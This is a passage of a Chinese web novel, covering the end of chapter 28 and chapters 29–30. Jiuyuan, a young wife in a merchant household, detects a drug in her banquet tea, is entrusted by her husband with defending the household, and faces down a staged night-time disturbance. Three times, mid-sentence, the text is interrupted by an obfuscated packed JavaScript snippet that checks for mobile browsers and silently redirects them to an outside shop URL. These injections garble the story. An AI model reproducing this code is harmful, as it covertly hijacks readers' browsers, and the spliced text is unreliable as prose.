秦昭烟身旁那两位先前帮腔的少女，也收敛了气焰，不敢再轻易上前挑衅。 林氏将这一切看在眼里，面上虽不显，心中却着实松了口气，甚至隐隐生出一丝与有荣焉的快意。 林氏难得地主动与玖鸢低语了几句，无非是些“莫要骄傲”、“谨言慎行”的寻常嘱咐，语气也比往日和缓了许多。 严嬷嬷依旧如影随形，神情肃穆，只在无人注意时，看向玖鸢的眼神中，那抹激赏之色愈浓。 宴至尾声，织造夫人又命人在水榭中设下茶席，用的是今春新贡的碧螺春，茶香清冽，沁人心脾。 婢女们捧着红漆描金托盘，将一盏盏雨过天青釉的茶盅，奉至各位女眷面前。 玖鸢接过茶盅，指尖触及温热瓷壁，正要依礼向奉茶的婢女颔首致谢，鼻尖却敏锐地捕捉到一丝极淡异于茶香的清甜气息，若有若无自茶盅内飘出。 这气息极其隐晦，混杂在浓郁花香、果香与脂粉香气中，几乎难以察觉，若非她自幼与药材为伍，对气味异常敏感，绝难发现。 玖鸢动作几不可察地一顿，垂眸看向盅内。 茶汤色泽碧绿清亮，叶片徐徐舒展，看似并无异常。 然而，那丝若有若无的异香，却让玖鸢心头警铃大作。 这不是碧螺春该有的香气。 倒像是，某种能令人心神恍惚，甚至产生幻觉的迷迭香，又夹杂着一丝不易察觉类似于令箭兰那般能引动气血的药性。 虽被茶香巧妙掩盖，剂量也极其微弱，若非玖鸢这等精通药理之人，饮下后最多只觉得有些头晕目眩、心浮气躁，于大庭广众之下失态片刻，事后也只当是酒力不胜或是春日困乏。 可若她方才投壶时精神耗损，或是心绪不宁，再饮下此茶，后果不堪设想。 是谁，竟敢在织造府的宴席上动手脚。 是秦家，还是其他看她不顺眼的人。 电光火石间，玖鸢脑中已闪过数个念头。 玖鸢不能声张，一来无凭无据，二来也会扫了织造夫人面子，更会打草惊蛇，但此茶，是决计不能饮的。 玖鸢面上不动声色，依旧保持着得体微笑，指尖却悄悄一松，茶盅看似无意地向一侧倾斜—— “哎呀！” 身旁伺候的一个小婢女惊呼一声，手忙脚乱想要扶住，却已来不及，小半盏温热茶汤泼洒出来，溅湿了玖鸢袖口和裙裾，也弄湿了婢女自己的手背。 “奴婢该死，奴婢该死。”小婢女吓得脸色煞白，连连告罪。 这突如其来的变故，顿时吸引了周遭不少目光。 林氏蹙眉看了过来。 织造夫人也关切地问道：“苏大奶奶没事吧？这蠢笨丫头。”她作势要责罚婢女。 玖鸢忙起身，用帕子擦拭着袖口水渍，语气温和地替婢女开脱： “夫人息怒，不过是意外罢了，想来是这丫头手滑，怨不得她。只是可惜了这上好新茶，也污了衣裙，实在失礼。” 玖鸢言辞恳切，姿态谦和，反倒让织造夫人不好再发作，只瞪了那婢女一眼，便命人带玖鸢去后院厢房更衣。 严嬷嬷立刻上前一步，沉声道：“老奴陪大奶奶前去。” 玖鸢微微颔首，向织造夫人和林氏告了罪，便随着引路的婆子，与严嬷嬷一同离开了喧闹水榭。 前往厢房路上，玖鸢面色沉静，心中却波涛翻涌。 方才那奉茶的小婢女，眼神惊慌，不似作伪，看来并非主谋，只是被人利用。 下药之人，心思极为缜密，用量精准，时机也选得巧妙，若非玖鸢机警，几乎便要着了道。 “嬷嬷，”玖鸢低声对身侧的严嬷嬷道，“方才那茶，气味有异。” 严嬷嬷目光一凛，她虽不通药理，但久居宫廷，见识过无数阴私手段，立刻明白了玖鸢的意思。 “大奶奶确定？” “八九不离十。”玖鸢声音极低，“此事不宜声张，但需得让夫君知晓。” 玖鸢相信，苏瑾在织造府内，定然也有眼线。 严嬷嬷会意，不再多言，只那紧绷的下颌线，显露出她内心的震怒。 竟有人敢在她眼皮底下对苏家大奶奶动手，若非苏家大奶奶机敏，后果不堪设想。 到了厢房，早有织造府的婢女备好了干净衣物，玖鸢换下湿衣，又借口受了些惊吓，需要静坐片刻，打发走了织造府的婢女，只留严嬷嬷在室内。 “嬷嬷，稍后回去，你设法将方才我泼洒了茶水的那个位置，尤其是地毯上残留茶渍，悄悄取样一些，带回去。”玖鸢冷静地吩咐，她需要证据。 “老奴明白。”严嬷嬷应下，眼中寒光闪烁。 在厢房略坐了坐，估摸着时间差不多，玖鸢便与严嬷嬷一同返回水榭。 宴席已近尾声，众人正陆续告辞。 秦周氏见玖鸢已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760363|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又换了一身新衣，且脸上依旧挂着无懈可击的笑容，仿佛方才什么都未发生，便装着关心道： “苏大奶奶没事吧？春日衣衫单薄，可别着了凉。” “有劳秦夫人挂心，无碍。”玖鸢微微颔首，目光与对方一触即分，平静无波。 秦昭烟站在母亲身后，看着玖鸢那张毫无异样的脸，眼中闪过一丝不易察觉的失望与困惑。 林氏见玖鸢回来，也未多问，只道：“既然无事，我们便回去吧。” 辞别了织造夫人，登上回府马车，车厢内一片寂静。 林氏闭目养神，玖鸢也靠着车壁，看似休息，心中却将下毒之事翻来覆去地思量。 回到苏府，已是夕阳西下。 玖鸢刚回到砚澜轩，还未坐定，苏瑾竟已等在院中，他负手立于那株新移栽的月影草前，暮色为他挺拔身影镀上了一层淡淡金边。 “今日赏春宴，可还顺利？”苏瑾转过身，目光落在玖鸢身上，语气如常。 玖鸢心中微动，苏瑾这么快便知道了？她敛衽行礼：“回夫君，一切尚好。” 苏瑾走近几步，凝视着玖鸢，那双深邃眸子里，似乎能洞察一切。 “我听闻，你在投壶时，大放异彩。” “侥幸而已。”玖鸢垂眸。 “侥幸？”苏瑾语气微扬，带着一丝几不可察玩味，“那后来那盏不慎泼洒的茶，也是侥幸？” 玖鸢猛地抬眸，对上夫君洞悉一切的目光，心想着果然是什么事也瞒不了他。 “茶香有异，”玖鸢不再隐瞒，低声道，“似是混了迷迭与些许引动气血之物，剂量极微，但若饮下，恐会当众失仪。” 闻言苏瑾眸色骤然转冷，周身气息瞬间变得凛冽如冰。 “可知是何人所为？” “尚未可知。”玖鸢摇头，“奉茶婢女似是被利用，妾身已让严嬷嬷设法取样残留茶渍。” 苏瑾沉默片刻，忽而冷笑一声：“看来，有人是迫不及待了。” 他目光再次落在玖鸢脸上，冰冷之中，又掺杂了一丝难以言喻的复杂情绪。 “你做得很好，临危不乱，处置得当。” 这是他第二次明确地赞她。 玖鸢心中并无多少欣喜，只觉一股寒意自心底蔓延开，今日是下药令她失仪，明日又会是什么？ “此事，我会彻查。” 苏瑾声音斩钉截铁，带着不容置疑的杀伐之气，“你近日出入，务必小心，严嬷嬷会再加派两名会些拳脚的稳妥之人跟着你。” “是。”玖鸢应下。 苏瑾深深看了玖鸢一眼，似乎想说什么，最终却只道： “今日你也累了，好生歇息吧。”说罢，转身离去。 玖鸢看着苏瑾消失在暮色中的背影，久久未动，晚风拂过，带来月影草淡淡带着一丝凉意的清香。 赏春宴繁华与喧嚣已然散去，留下的，是潜藏在暗处的森然杀机。 茶蘼香冷，暗箭已发，这苏府，乃至整个金陵，注定遍布荆棘。 29. 邀约 暮色四合，砚澜轩内早早掌了灯。 玖鸢屏退左右，独自坐于窗下，赏春宴上那盏险些入喉的毒茶，叫她森然警醒，可见得自己不仅仅在苏府要惊然行事，即便是在其他世家眼中，也有人嫉其存在，想着法子来加害于她。 苏瑾虽说了会彻查，可也不是一时半会之事，有些惊局，终究是要她自己来面对。 另一方面，玖鸢也相信，以苏瑾平日里手段，织造府内发生的龌龊，定然瞒不过他。 只是，查出来之后呢，是雷霆震怒血溅五步，还是暂且隐忍，引蛇出洞？ 玖鸢更倾向于后者。 苏瑾非是莽撞之人，秦家势大，盘根错节，在没有确凿证据，没有十足把握将其连根拔起之前，他不会轻易撕破脸。 今日这杯毒茶，与其说是杀招，不如说是一次更阴险的试探与警告。 正思忖间，铃兰轻手轻脚进来，低声道：“小姐，容三来了，说瑾爷请您去一趟外书房。” 玖鸢点点头。 外书房是苏瑾在墨韵斋一处居室，平时里苏瑾处理一些重大事务便在外书房内，今要她前去，必是非同寻常。 玖鸢整理了一下衣饰，并未多做耽搁，便随着容三再次踏入了这间象征苏府权力核心的墨韵斋。 书房内灯火通明，苏瑾并未如往常般伏案疾书，而是负手立于一幅巨大舆图前，目光沉凝，落在标记着西境与金陵之间的广袤区域。 听到脚步声，苏瑾缓缓转过身。 烛光下，苏瑾面容显得有些疲惫，眼底带着一丝连日操劳的血丝，但那双眸子里的锐光，却比以往任何时候都要冷冽逼人。 “坐。” 苏瑾指了指书案旁椅子，声音带着一丝低沉暗哑。 玖鸢依言坐下，静待他开口。 苏瑾踱步至书案后，并未立刻提及毒茶之事，而是将一份誊抄工整的文书推到玖鸢面前。 “看看这个。” 玖鸢垂眸看去，是一份关于苏家与西境几家商号近半年来货物往来的汇总清单，上面清晰罗列了货物种类、数量、价格以及运输路线。 与之前玖鸢看过的账册不同，这份清单剔除了所有经由三房经手的，可能存在问题的交易，只保留了由苏瑾直系掌控的核心部分。 “秦家在西境经营多年，根基深厚，尤其掌控着通往西域的几条关键商路。” 苏瑾声音在寂静书房内响起，平缓而冷静。 “苏家想要维持江南丝茶盐铁贸易优势，与秦家的合作，短期内无法完全割裂，即便明知其包藏祸心。” 这话，玖鸢心中了然。 这就是现实。 利益交织，盘根错节，牵一发而动全局。 苏瑾清理三房，是剜除腐肉，但要彻底与秦家决裂，甚至反戈一击，需要时机，更需要足够实力与筹码。 “夫君让妾身看这个，是为何意？”玖鸢抬起眼，看向苏瑾。 苏瑾与她对视，目光深邃。 “三房留下的空缺，需要人填补，与秦家明面上维系，暗地里戒备周旋的格局，也需要有人协同掌控。母亲年岁渐长，精力不济，二房心思活络，却失之沉稳。” 苏瑾顿了顿，语气加重，“你，可愿助我？” 不是询问，不是试探，而是近乎直白的邀约与托付。 苏瑾将更核心的商务机密展露在玖鸢面前，将协同应对秦家的重任，似无比期待玖鸢分担参与。 玖鸢心跳漏了一拍。 这已远超内宅庶务范畴，这是真正触及苏家命脉的权柄。 风险与机遇，从未如此赤裸而巨大。 玖鸢沉默片刻，并非犹豫，而是在权衡自己所能承担的分量。 最终，玖鸢迎上苏瑾不容置疑目光，清晰而冷静出声： “夫君信重，妾身敢不从命。” 苏瑾眼底冷冽似乎融化了些许，他微微颔首：“好。” 然后他绕过书案，走到玖鸢面前，居高临下地看着她，那股迫人压力再次笼罩下来。 “今日织造府之事，已有眉目。” 玖鸢心神一凛，坐直身体。 “下药的是织造夫人身边一个负责保管香料的三等婢女，收了城外一座无名道观捐来的香火钱。” 苏瑾语气平淡，却带着刺骨寒意，“那道观，与秦家在金陵的一处别院，有些不清不楚往来，婢女已失足落井，线索断了。” 果然如此。 玖鸢袖中的手微微攥紧，秦家行事，果然狠辣缜密，不留痕迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768240|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他们此举，意在试探，也在警告。” 苏瑾继续道，目光如鹰隼般锐利，“试探你深浅，警告你，乃至警告苏家，莫要再进一步，可惜……”他唇角勾起一抹冰冷弧度，“他们打错了算盘。” 苏瑾俯下身，距离近得玖鸢能看清他眼中跳动的烛火，能感受到他呼吸间带起的微弱气流。 “既然他们出了招，我们若不接，反倒显得怯懦。丁字三号仓，是时候打开了。” 玖鸢闻言脸微微变色。 丁字三号仓里面藏着的，恐怕不仅仅是违禁货物，更是足以将秦家，乃至其背后势力拖入深渊的铁证。 “夫君打算何时动手？”玖鸢声音稍异平时。 “三日后，子时。” 苏瑾直起身，恢复了平时掌控一切的沉静模样，“我会亲自带人去，府内需得有人坐镇，以防对方狗急跳墙，在后宅生事。” 苏瑾看向玖鸢，目光中带着前所未有的凝重与信任：“届时，府中安危，便托付于你了。” 将整个苏府内宅安危托付于她，玖鸢感到肩头骤然一沉，仿佛有千钧重担压下。 这不是玩笑，这是生死相托。 玖鸢深吸一口气，起身对着苏瑾，行了一个极其郑重大礼：“玖鸢，定不负所托。” 没有豪言壮语，只有这六个字，却重若山岳。 苏瑾看着她纤瘦却挺得笔直的脊背，眼中闪过一丝极复杂情绪，有欣赏，有考量，或许，还有一丝连他自己都未曾察觉的动容。 “起来吧。”他伸手，虚扶了一下，“这三日，府中一切照旧，外松内紧。严嬷嬷会协助你，府中护卫，你可凭我令牌调动。”苏瑾将一枚玄铁所铸，刻着苏字暗纹的令牌放在书案上。 玖鸢双手接过令牌，入手冰凉沉重。 “回去吧，早些歇息。” 苏瑾转过身，重新面向那幅巨大舆图，背影挺拔如山，却又带着一丝孤军奋战的寂寥。 玖鸢握着这枚仿佛还带着苏瑾体温的令牌，深深看了一眼苏瑾背影，悄然退出了书房。 夜色浓重，寒风凛冽。 玖鸢走在回砚澜轩路上，每一步都踏得异常沉稳，手中令牌硌着掌心，提醒着她即将到来的风暴。 风雨欲来，黑云压城。 30. 内乱 接下来三日，苏府内外渐渐趋于平静，年节余韵尚未完全散去，仆从们依旧按部就班地洒扫庭除，各房主子们也依旧维持着日常请安与往来。 只是仿佛有什么变了，又仿佛于安静之中，随时都可能发生点什么事。 玖鸢不敢懈怠。 玖鸢依照苏瑾吩咐，外松内紧，她依旧每日处理庶务，跟着严嬷嬷学习礼仪，甚至还应二太太王氏之邀，去锦绣阁品了一回新茶，言谈举止间不见半分异样。 唯有回到砚澜轩，屏退左右后，玖鸢才会与严嬷嬷细细推演可能发生的种种变故，核对府中护卫布防与调度。 玄铁令牌被玖鸢贴身收藏，时刻提醒着她肩上的重担。 苏瑾则几乎不见踪影，据容三回报，大少爷连日都在外书房与几位心腹管事商议要事，连膳食都是送入书房用的。 日子突然之间慢得令人难以忍受，玖鸢这么沉静稳定之人，也竟然有点焦灼，苏瑾说了三日后会动手，她不知道苏瑾安排得怎样。 虽说玖鸢在府中已做了全力防护，以此来确保苏瑾后方无忧，但到底也怕自己年轻不懂事，万一有个什么闪失。 退一万步讲，就算自己将府中所有事安排到接近完美，万一苏瑾那一面有个闪失呢。 玖鸢回想了和苏瑾仅有的几次共事，觉得苏瑾是相当厉害一个人，城府极深，来苏府短短时日以来，苏瑾处理每一件事，好像还从来没有失手过。 然而玖鸢即便是这样想，还是替苏瑾捏了一把汗。 如今她和苏瑾在一条船上，所以她与其说是替苏瑾担忧，毋宁说是因了牵一发而动百之考量。 “大奶奶，越是这个时候，越要安心才是，大少爷应是个极有分寸之人。”严嬷嬷见玖鸢心神不宁，便小心劝解。 是夜，月黑风高，浓稠乌云卷掩不止，星月微弱，府中各院落廊下悬挂的灯笼，在夜风中明明灭灭，投下幢幢黑影。 戌时刚过，玖鸢便以身子不适为由，早早熄了砚澜轩主屋灯烛，只在内室留了一盏如豆灯火。 她并未安寝，而是和衣坐在窗下贵妃榻上，手中握着一卷书，却一个字也未看进去，耳畔捕捉着窗外任何一丝不寻常声响。 严嬷嬷一直守在屋里，陪着玖鸢。 今夜是个不寻常日子。 铃兰与其他几个心腹婢女，则被安排在外间和院门附近，假意做着针线或守着夜，其实一直警惕地留意着四周动静。 亥时末，府中大部分灯火渐次熄灭，陷入沉睡，唯有巡夜婆子单调的梆子声和更夫悠长报时声，偶尔划破寂静。 子时将至。 玖鸢能清晰地听到自己胸腔内那颗心，擂鼓般撞击着耳膜，她放下书卷，走到窗边，将支摘窗轻轻推开一道细缝。 萧瑟夜风瞬间涌入，带着泥土气息，且有点潮湿感觉。 远处前院方向，似乎有极其轻微杂沓脚步声，夹着极低微若隐若现人声，旋即又被风声吞没。 苏瑾应是动手了。 几乎就在同时，砚澜轩外，通往内院深处的抄手游廊尽头，骤然亮起了几簇晃动的火光，伴随着一阵略显急促却刻意放轻的脚步声，正朝着这个方向而来。 “来了。”严嬷嬷低沉声音在身后响起，带着一丝冰冷杀意。 玖鸢深吸一口气，关上窗户，转身走回榻边坐下，神色恢复平静，低声下令： “按计划行事。” 片刻后，院门外传来守夜婆子略带惊慌的询问声：“谁？这么晚了……” 话音未落，便被一个略显尖利的女声打断： “混账东西！连我的路也敢拦？滚开！我有急事要见大奶奶！” 是栖云阁那边，三太太赵氏身边一个颇为得脸，姓钱的管事嬷嬷的声音。 院门被强行推开，火光晃动间，只见钱嬷嬷领着四五个膀大腰圆，明显不是内院寻常仆妇的婆子，气势汹汹闯了进来，身后还跟着两个提着灯笼面色惶恐的栖云阁小婢女。 “大奶奶！大奶奶睡下了吗？不好了！出大事了！” 钱嬷嬷人未到，声先至，带着一股刻意营造的惊慌，径直就往主屋冲来。 铃兰带着两个婢女连忙上前阻拦。 “钱嬷嬷，深更半夜，您这是做什么？大奶奶身子不适，早已歇下了！” “歇下了也得起来！三太太突发急症，心口疼得厉害，厥过去了！非得请大奶奶拿个主意，开库房取老参救命不可！” 钱嬷嬷声音极大，几乎是嚷出来的，显然是想闹出动静，将玖鸢逼出来，或者将水搅浑。 严嬷嬷一步踏出内室门帘，挡在门前，面沉如水，目光如电扫过那几人： “放肆！主子寝居，也是你们能闯的？三太太若真有恙，自有府中常备的太医和药材，何须深夜惊动大奶奶，强开库房？尔等在此喧哗，惊扰大奶奶静养，该当何罪！” 严嬷嬷久居宫中，积威甚重，这一声低斥，竟让几个气势汹汹的婆子脚步一滞。 钱嬷嬷眼神闪烁，强自镇定道：“严嬷嬷，实在是情况危急，那库房的钥匙……” “库房钥匙自有定规，岂是你说开就开？”严嬷嬷毫不客气地打断她，“尔等即刻退出院子，否则，休怪老奴按府规处置！” 就在这时，内室门帘被一只纤白素手轻轻掀开，玖鸢披着一件月白色软缎斗篷，走了出来，脸上带着恰到好处的倦意，与一丝被打扰的不悦，目光平静落在钱嬷嬷脸上。 “深更半夜，何事喧哗？” 玖鸢声音不高，却自有一股威慑，让原本有些喧嚣的院子瞬间安静下来。 钱嬷嬷见到玖鸢，眼底闪过一丝得色，立刻扑上前几步，做出焦急万分的样子： “大奶奶！您可出来了！三太太她……她不好了！非得立刻用那支百年老参吊命不可，求大奶奶开恩，开了库房吧！”钱嬷嬷说着，就要往玖鸢身边凑。 严嬷嬷身形一动，已挡在玖鸢身前。 玖鸢看着钱嬷嬷那浮于表面的焦急，以及她身后几个眼神闪烁，肌肉紧绷的婆子，心中冷笑。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782737|188706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏突发急症，偏偏选在子时这个时候，且是苏瑾带人去开丁字三号仓之时，还要强开库房，这调虎离山制造混乱的意图，未免太过明显。 “三婶突发急症，确是要紧事。” 玖鸢语气温和，沉吟微秒，不疾不徐道： “铃兰，你立刻拿我对牌，去前院请当值的李太医速往栖云阁诊治。严嬷嬷，你亲自带两个人，去库房按常例取一支上好山参，即刻送去栖云阁。至于开库房……”玖鸢目光淡淡扫过钱嬷嬷，“规矩不可废，待明日母亲示下再说。” 玖鸢这番安排，有条不紊，既应对了三太太突发急症，又牢牢守住了库房重地，更将严嬷嬷这等高手派出去，明着是送参，实则是去弹压可能存在的真正骚乱源头。 钱嬷嬷没料到玖鸢如此镇定，应对得滴水不漏，一时语塞，脸色变了几变，还想再说什么：“大奶奶，这……” “怎么？” 玖鸢眉梢微挑，语气依旧平和，眼神却骤然转冷，带着一股无形威压，“钱嬷嬷是觉得我安排不妥？还是觉得三婶性命，比不上府里的规矩重要？” 这话极重，钱嬷嬷顿时冷汗涔涔，连道：“不敢，老奴不敢。” “既如此，还杵在这里做什么？”玖鸢声音微沉，“莫非，三婶急症是假，尔等深夜闯我院落，意图不轨是真？！” 最后一句，玖鸢声色俱厉，面色沉下来，已有了微微怒意。 玖鸢声音稍了提高了一点，院墙阴影处，瞬间悄然现出数道劲装男子，皆手持各种器械，正是玖鸢这几日凭借令牌暗中调派，埋伏在砚澜轩周围的护卫！ 钱嬷嬷与她带来的婆子们见状，脸色瞬间惨白，这才意识到，这位年轻的大奶奶，早已有所准备。 她们今夜的行动，恐怕早已在对方算计之中。 “滚！”严嬷嬷上前一步，厉声喝道。 钱嬷嬷等人再不敢多言，如同斗败公鸡，灰溜溜地连滚带爬退出了砚澜轩。 院门重新合拢，隔绝了外面风波。 玖鸢站在廊下，望着钱嬷嬷等人消失的方向，眼神冰冷，这只是开始，栖云阁那边，恐怕还有后手。 “嬷嬷，速去速回。”她低声对严嬷嬷道。 严嬷嬷会意，点了两个身手最好的护卫，立刻朝着库房方向疾步而去。 玖鸢则转身回到内室，并未松懈，她知道，真正的惊涛骇浪，或许不在她这砚澜轩，而在前院码头，在那个即将被打开的丁字三号仓。 时间一点点流逝，每一分每一秒都显得格外漫长。 约莫过了半个时辰，就在玖鸢以为栖云阁那边暂时偃旗息鼓之时，外间突然传来一阵更加嘈杂喧哗之声，其间竟夹杂着兵刃相交的撞击声与呵斥打斗之声。 听声音方向，赫然是库房所在的内院东侧。 对方果然还有第二波人，目标直指库房。 是想制造更大混乱，甚至是想趁乱夺取什么东西，还是想牵制住府中护卫，为码头那边创造机会？ 玖鸢心中一紧，霍然起身！